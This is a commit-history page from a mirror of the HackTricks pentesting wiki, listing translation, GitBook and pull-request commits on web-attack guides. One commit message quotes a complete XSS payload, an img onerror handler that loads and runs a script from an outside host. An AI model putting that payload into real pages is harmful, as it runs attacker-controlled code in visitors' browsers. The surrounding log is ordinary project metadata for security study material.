Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
4260 commits 18 branches 0 tags 470 MiB
Commit graph

1134 commits

Author SHA1 Message Date
Translator
f9a74d60e5 Translated ['pentesting-web/file-upload.md'] to cn 2023-09-01 12:09:12 +00:00
Translator
f52cefdce8 Translated ['pentesting-web/sql-injection/oracle-injection.md'] to cn 2023-08-31 17:35:10 +00:00
Translator
99f9bc9ce5 Translated ['pentesting-web/sql-injection/oracle-injection.md'] to cn 2023-08-31 17:27:53 +00:00
Translator
3cb2be8378 Translated ['pentesting-web/sql-injection/mssql-injection.md'] to cn 2023-08-31 17:24:55 +00:00
Translator
f19efe1385 Translated ['pentesting-web/sql-injection/mssql-injection.md', 'pentesti 2023-08-31 17:19:20 +00:00
Translator
aa8dfe0174 Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-08-31 16:02:56 +00:00
Translator
d302d6759d Translated ['README.md', 'forensics/basic-forensic-methodology/specific- 2023-08-30 09:57:28 +00:00
Translator
d219c07c1e Translated ['pentesting-web/content-security-policy-csp-bypass/README.md 2023-08-29 19:09:12 +00:00
Translator
61d83fb0d2 Translated ['pentesting-web/file-upload/README.md'] to cn 2023-08-29 18:18:41 +00:00
Translator
275a53df5f Translated ['pentesting-web/formula-doc-latex-injection.md'] to cn 2023-08-29 17:58:05 +00:00
Translator
f9474a3b9d Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf. 2023-08-28 09:13:02 +00:00
Translator
a176747886 Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf. 2023-08-28 09:04:34 +00:00
Translator
8089512757 Translated ['pentesting-web/hacking-jwt-json-web-tokens.md'] to cn 2023-08-24 11:21:28 +00:00
Translator
377dfc1bb2 Translated ['generic-methodologies-and-resources/pentesting-network/nmap 2023-08-24 09:57:53 +00:00
Translator
36dba71845 Translated ['backdoors/salseo.md', 'forensics/basic-forensic-methodology 2023-08-22 10:47:40 +00:00
Translator
2592184de8 Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p 2023-08-16 09:35:31 +00:00
Translator
6404ea60eb Translated ['pentesting-web/xs-search.md', 'pentesting-web/xss-cross-sit 2023-08-16 09:07:58 +00:00
Translator
7e05f9c9b7 Translated ['backdoors/salseo.md', 'forensics/basic-forensic-methodology 2023-08-16 05:11:08 +00:00
Translator
adc73b7a5c Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE 2023-08-15 18:29:39 +00:00
Translator
ffcb80ecc6 Translated ['network-services-pentesting/pentesting-web/h2-java-sql-data 2023-08-15 01:41:38 +00:00
Translator
52cdf17f25 Translated ['pentesting-web/content-security-policy-csp-bypass/README.md 2023-08-09 17:14:49 +00:00
Translator
0c8e58eecb Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2023-08-08 08:33:05 +00:00
Translator workflow
a21a0e7217 Translated to Chinese 2023-08-03 19:12:22 +00:00
CPol
5f3d054d57
GITBOOK-4024: change request with no subject merged in GitBook 2023-08-02 15:09:22 +00:00
CPol
d66ecb4cdd
GITBOOK-4021: change request with no subject merged in GitBook 2023-07-31 15:59:11 +00:00
CPol
84d05a4c74
GITBOOK-4018: change request with no subject merged in GitBook 2023-07-30 21:28:42 +00:00
CPol
0b9f09f1ce
GITBOOK-4016: change request with no subject merged in GitBook 2023-07-28 11:44:45 +00:00
matan h
3faa1a5e69
Add one example of pHp protocol cases and add my own base64 file extension bypass. 2023-07-20 10:40:33 +03:00
Carlos Polop
df038bd147
Merge pull request #673 from entr0pie/master 
Fixed grammar on the "Manipualating Email Parameter" section of pentesting-web/reset-password
 2023-07-19 13:20:43 +02:00
Carlos Polop
a1be5b4742
Merge pull request #667 from abhishekmorla/patch-1 
Update oauth-to-account-takeover.md
 2023-07-19 13:05:54 +02:00
Carlos Polop
73e07dbcbd
Merge pull request #669 from sAjibuu/patch-1 
Update README.md
 2023-07-19 13:05:03 +02:00
tandera
5126ce15d4
Fixed grammar on the "Manipualating Email Parameter" section 2023-07-15 23:29:21 -03:00
carlospolop
d84af2b1f5 hp 2023-07-14 17:03:41 +02:00
CPol
f51a325cb6
GITBOOK-4010: change request with no subject merged in GitBook 2023-07-14 13:56:11 +00:00
CPol
f11b4d1856
GITBOOK-4008: change request with no subject merged in GitBook 2023-07-13 09:57:55 +00:00
CPol
224ce0cf17
GITBOOK-4007: change request with no subject merged in GitBook 2023-07-11 13:23:18 +00:00
Sagiv
9f184d9633
Update README.md 2023-07-09 09:03:36 +03:00
Abhishek Morla
04d5d62ca6
Update oauth-to-account-takeover.md 
clarifying the pre account takeover 2nd part
 2023-07-08 09:21:28 +05:30
CPol
5626c2fdf6
GITBOOK-3993: change request with no subject merged in GitBook 2023-06-26 10:50:26 +00:00
CPol
1b10ed65e2
GITBOOK-3992: change request with no subject merged in GitBook 2023-06-25 23:05:20 +00:00
CPol
9a68c91e4e
GITBOOK-3984: change request with no subject merged in GitBook 2023-06-14 10:51:55 +00:00
CPol
fa3b6dffc2
GITBOOK-3983: change request with no subject merged in GitBook 2023-06-14 00:31:26 +00:00
CPol
0164fe76c8
GITBOOK-3982: change request with no subject merged in GitBook 2023-06-13 16:23:33 +00:00
CPol
5850e04a1f
GITBOOK-3981: change request with no subject merged in GitBook 2023-06-13 10:26:10 +00:00
CPol
95e2677e3c
GITBOOK-3979: change request with no subject merged in GitBook 2023-06-13 09:22:46 +00:00
CPol
aac81361dc
GITBOOK-3975: change request with no subject merged in GitBook 2023-06-10 23:31:32 +00:00
CPol
273f175b12
GITBOOK-3971: change request with no subject merged in GitBook 2023-06-08 16:46:11 +00:00
CPol
cd4025c14f
GITBOOK-3968: change request with no subject merged in GitBook 2023-06-06 22:57:49 +00:00
CPol
e53c11a86a
GITBOOK-3966: change request with no subject merged in GitBook 2023-06-06 21:42:32 +00:00
CPol
ff4a3d95b7
GITBOOK-3962: change request with no subject merged in GitBook 2023-06-01 20:34:49 +00:00
CPol
dacd10af82
GITBOOK-3959: change request with no subject merged in GitBook 2023-05-30 18:44:01 +00:00
CPol
fbc68e5920
GITBOOK-3956: change request with no subject merged in GitBook 2023-05-29 10:35:28 +00:00
CPol
0a0edcec2e
GITBOOK-3950: change request with no subject merged in GitBook 2023-05-28 13:35:03 +00:00
CPol
28e205b34c
GITBOOK-3949: change request with no subject merged in GitBook 2023-05-26 15:11:27 +00:00
CPol
c6842d3ff8
GITBOOK-3947: change request with no subject merged in GitBook 2023-05-26 11:10:05 +00:00
carlospolop
fdf9afee4e hacking career 2023-05-26 11:43:15 +02:00
Carlos Polop
cdcae14a54
Merge pull request #635 from bl13pbl03p/patch-1 
Completed payload
 2023-05-26 11:40:54 +02:00
Carlos Polop
8c3ad1340e
Merge pull request #646 from anoduck/patch-1 
Update cross-site-websocket-hijacking-cswsh.md
 2023-05-26 11:38:04 +02:00
Carlos Polop
63f93aedc6
Merge pull request #639 from Eferus/master 
Reorganize Domain Confusion list in SSRF
 2023-05-26 11:34:46 +02:00
Carlos Polop
65554df230
Merge pull request #637 from mdprain/mdprain-csrf-fix 
Add missing HTML form methods for POST exploits
 2023-05-26 11:31:07 +02:00
Carlos Polop
4b36725f03
Merge pull request #636 from syselement/patch-1 
Update README.md - SQLMap CheatSheet
 2023-05-26 11:30:39 +02:00
Carlos Polop
b2fcc5d7a1
Merge pull request #632 from TomF0x/patch-1 
Update cypher-injection-neo4j.md
 2023-05-26 11:29:11 +02:00
Carlos Polop
efccd3f03f
Merge pull request #631 from NaxnN/patch-2 
fix a missing space in a cypher-injection payload
 2023-05-26 11:28:45 +02:00
CPol
149284a747
GITBOOK-3943: change request with no subject merged in GitBook 2023-05-24 22:31:58 +00:00
Anoduck
2ab2af5bcb
Update cross-site-websocket-hijacking-cswsh.md 
Corrected typos on line 81 and 82
 2023-05-20 09:28:25 +00:00
CPol
419be89fe7
GITBOOK-3933: change request with no subject merged in GitBook 2023-05-18 12:13:32 +00:00
CPol
b212998555
GITBOOK-3915: change request with no subject merged in GitBook 2023-05-12 14:33:51 +00:00
CPol
5a46a7c396
GITBOOK-3907: change request with no subject merged in GitBook 2023-05-10 14:04:00 +00:00
CPol
2fafcfd659
GITBOOK-3903: change request with no subject merged in GitBook 2023-05-09 16:45:28 +00:00
CPol
f2762b0fb2
GITBOOK-3896: change request with no subject merged in GitBook 2023-05-08 09:41:51 +00:00
Eferus
a3d91ce362
Reorganize Domain Confusion list in SSRF 
* Remove duplicates
* Add payloads
 2023-05-06 04:28:16 +02:00
Matthew Prain
ac9e066bb6
Add missing HTML form methods for POST exploits 
"Form POST request" and "Form POST request through iframe" now have the correct POST method.
 2023-05-05 10:24:18 +10:00
CPol
c469ce05ac
GITBOOK-3892: change request with no subject merged in GitBook 2023-05-04 23:22:39 +00:00
syselement
3ed41d5e00
Update README.md - SQLMap CheatSheet 2023-05-04 19:19:54 +02:00
bl13bl03p
4916da0f6e
Completed payload 
Location: Line 896
Change: Added > to complete payload

`<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">`
 2023-05-03 19:27:46 +02:00
CPol
504234542f
GITBOOK-3885: change request with no subject merged in GitBook 2023-04-30 22:29:45 +00:00
CPol
ecd03d0108
GITBOOK-3884: change request with no subject merged in GitBook 2023-04-30 21:54:03 +00:00
CPol
98facb9725
GITBOOK-3883: change request with no subject merged in GitBook 2023-04-30 21:23:47 +00:00
TomFox
86fd85255e
Update cypher-injection-neo4j.md 2023-04-27 12:03:10 +02:00
KeoOp
f034eb35f1
fix a missing space in a cypher-injection payload 
fix a missing space in url in cypher-injection-neo4j.md
 2023-04-27 11:24:52 +08:00
Carlos Polop
e36ebc6dee
Merge pull request #616 from fssecur3/patch-1 
Add special character to bypass file upload restrictions
 2023-04-26 15:52:36 +02:00
carlospolop
5ec5b67e79 update twitter 2023-04-25 20:35:28 +02:00
CPol
34c27bc4e1
GITBOOK-3879: change request with no subject merged in GitBook 2023-04-18 23:46:39 +00:00
Francisco Spínola
0aefd22b53
Add special character to bypass file upload restrictions 2023-04-11 14:20:39 +01:00
CPol
b5069b5f86
GITBOOK-3870: change request with no subject merged in GitBook 2023-04-11 01:00:47 +00:00
Francisco Spínola
6a7fb5e4f4
Add special character to bypass file upload restrictions 2023-04-10 17:55:08 +01:00
carlospolop
286ea6a24c hacktricks cloud 2023-04-07 10:52:01 +02:00
CPol
cc9b5b1abb
GITBOOK-3867: change request with no subject merged in GitBook 2023-04-06 15:39:43 +00:00
CPol
6046750cc2
GITBOOK-3866: change request with no subject merged in GitBook 2023-04-06 10:05:52 +00:00
CPol
608d71d4a6
GITBOOK-3864: change request with no subject merged in GitBook 2023-04-05 23:11:20 +00:00
carlospolop
2197a2102f f 2023-04-05 17:19:27 +02:00
CPol
c3d99d5e4f
GITBOOK-3863: change request with no subject merged in GitBook 2023-04-05 15:16:57 +00:00
carlospolop
1fa9f77ec3 change 2023-04-05 14:02:54 +02:00
OxNinja
fbb21ead23
Fix wfuzz typos 
Fixed some minor typos at /pentesting-web/web-tool-wfuzz.md
 2023-03-31 13:56:52 +02:00
CPol
9687d27a38
GITBOOK-3851: change request with no subject merged in GitBook 2023-03-30 22:05:38 +00:00
CPol
221c5f2ad6
GITBOOK-3846: change request with no subject merged in GitBook 2023-03-29 15:51:50 +00:00
CPol
b68d444c7e
GITBOOK-3842: change request with no subject merged in GitBook 2023-03-28 22:07:13 +00:00
CPol
4e9432ed74
GITBOOK-3840: change request with no subject merged in GitBook 2023-03-28 17:50:22 +00:00
CPol
bfb02053d9
GITBOOK-3838: change request with no subject merged in GitBook 2023-03-28 11:38:04 +00:00
CPol
dee4c5fa4e
GITBOOK-3836: change request with no subject merged in GitBook 2023-03-28 10:15:00 +00:00
Carlos Polop
8a22e8590c
Merge pull request #611 from blacklanternsecurity/badsecrets 
Badsecrets
 2023-03-27 11:42:50 +02:00
Carlos Polop
b54069ccaf
Merge pull request #610 from Swiftrix/Swiftrix-patch-1 
Update prototype-pollution-to-rce.md
 2023-03-27 11:41:01 +02:00
Carlos Polop
57a6a58b47
Merge pull request #606 from blacklanternsecurity/master 
BBOT for bucket enumeration, subdomain takeover
 2023-03-27 11:38:20 +02:00
Carlos Polop
9c58a361bd
Merge pull request #604 from petersandor/fix/typo-beginning 
fix: typos
 2023-03-27 11:36:43 +02:00
liquidsec
2f41f6baba typo fix 2023-03-25 12:47:16 -04:00
liquidsec
15756038b3 small language adjustment 2023-03-24 17:55:50 -04:00
liquidsec
d7eb3427c4 adding references to badsecrets 2023-03-24 17:40:35 -04:00
Swiftrix
ee145f556a
Update prototype-pollution-to-rce.md 2023-03-24 16:40:07 +00:00
CPol
eeeeb2fb0a
GITBOOK-3834: No subject 2023-03-23 15:12:27 +00:00
CPol
cb84a845ff
GITBOOK-3832: No subject 2023-03-23 14:15:27 +00:00
CPol
a8258ea313
GITBOOK-3830: No subject 2023-03-23 14:03:29 +00:00
CPol
f1728eac7d
GITBOOK-3829: No subject 2023-03-23 12:54:51 +00:00
CPol
ceb09f11fe
GITBOOK-3828: No subject 2023-03-23 12:48:36 +00:00
TheTechromancer
0db8cb0492 BBOT for bucket enumeration, subdomain takeover 2023-03-21 17:10:11 -04:00
CPol
3caaafe0b0
GITBOOK-3826: No subject 2023-03-20 09:22:01 +00:00
Peter Šándor
92d821c204
fix: typos 2023-03-19 19:16:17 +01:00
CPol
0350723c81
GITBOOK-3824: No subject 2023-03-15 09:29:52 +00:00
CPol
3af1f60237
GITBOOK-3823: No subject 2023-03-14 23:16:58 +00:00
CPol
6b22eab3d2
GITBOOK-3820: No subject 2023-03-12 18:00:45 +00:00
dxbstyle
0bc3981364
Typo 
flile.phpJunk123png -> file.phpJunk123png
 2023-03-11 20:44:03 +01:00
CPol
94e9127a8d
GITBOOK-3819: No subject 2023-03-05 23:41:46 +00:00
carlospolop
f0e09e3f54 social 2023-03-06 00:16:20 +01:00
carlospolop
9e5102b4c0 social 2023-03-06 00:15:43 +01:00
CPol
bb1f6e0b75
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
carlospolop
89016342d8 f 2023-03-05 22:38:33 +01:00
carlospolop
bee65ef8c6 twit 2023-03-05 20:58:55 +01:00
CPol
675802d483
GITBOOK-3816: No subject 2023-03-05 19:54:13 +00:00
carlospolop
d0476b922d d 2023-03-05 19:35:39 +01:00
CPol
a6c260e567
GITBOOK-3814: No subject 2023-03-05 18:28:55 +00:00
carlospolop
77801de4cf fix 2023-03-05 19:27:55 +01:00
CPol
a67c417bb8
GITBOOK-3813: No subject 2023-03-05 18:12:38 +00:00
CPol
df3103dbf8
GITBOOK-3812: No subject 2023-03-05 15:13:44 +00:00
CPol
7bfac801c5
GITBOOK-3809: No subject 2023-03-05 10:15:19 +00:00
Carlos Polop
19bc061f46
Merge pull request #594 from maxence-Doyensec/FileUploadUWSGI 
file upload to RCE using uwsgi.ini
 2023-03-05 11:06:08 +01:00
Carlos Polop
5ad193d1b8
Merge pull request #592 from FreeZeroDays/master 
Fixing Cache Deception Typo
 2023-03-05 10:59:00 +01:00
CPol
3a122edb7d
GITBOOK-3806: No subject 2023-03-04 19:33:37 +00:00
CPol
fb8562b7c0
GITBOOK-3805: No subject 2023-03-04 19:17:01 +00:00
CPol
595f9f77db
GITBOOK-3804: No subject 2023-03-03 17:26:17 +00:00
CPol
f8a5c782d0
GITBOOK-3803: No subject 2023-03-03 16:32:17 +00:00
CPol
2d8221606b
GITBOOK-3802: No subject 2023-03-03 16:14:19 +00:00
CPol
72062e8323
GITBOOK-3801: No subject 2023-03-03 15:56:05 +00:00
CPol
0d24e9705b
GITBOOK-3800: No subject 2023-03-03 15:39:23 +00:00
CPol
ac9c37e960
GITBOOK-3799: No subject 2023-03-03 00:11:57 +00:00
CPol
549fae7260
GITBOOK-3798: No subject 2023-03-02 18:08:43 +00:00
Maxence Schmitt
f38b063a3d file upload to RCE using uwsgi.ini 2023-03-02 10:08:19 +01:00
CPol
4ced3c152d
GITBOOK-3796: No subject 2023-03-01 10:14:57 +00:00
parzival
7d4d854a2e
Fixing Cache Deception Typo 
Fixing a small typo as it confused my understanding while revising Web Cache Deception attacks. Namely, where an attacker would observe the sensitive cached information after social engineering a user.
 2023-02-28 22:11:38 -08:00
CPol
b399cad65f
GITBOOK-3794: No subject 2023-02-27 18:21:24 +00:00
carlospolop
efa1552937 link 2023-02-27 11:02:29 +01:00
carlospolop
3edf173026 hp 2023-02-27 10:54:26 +01:00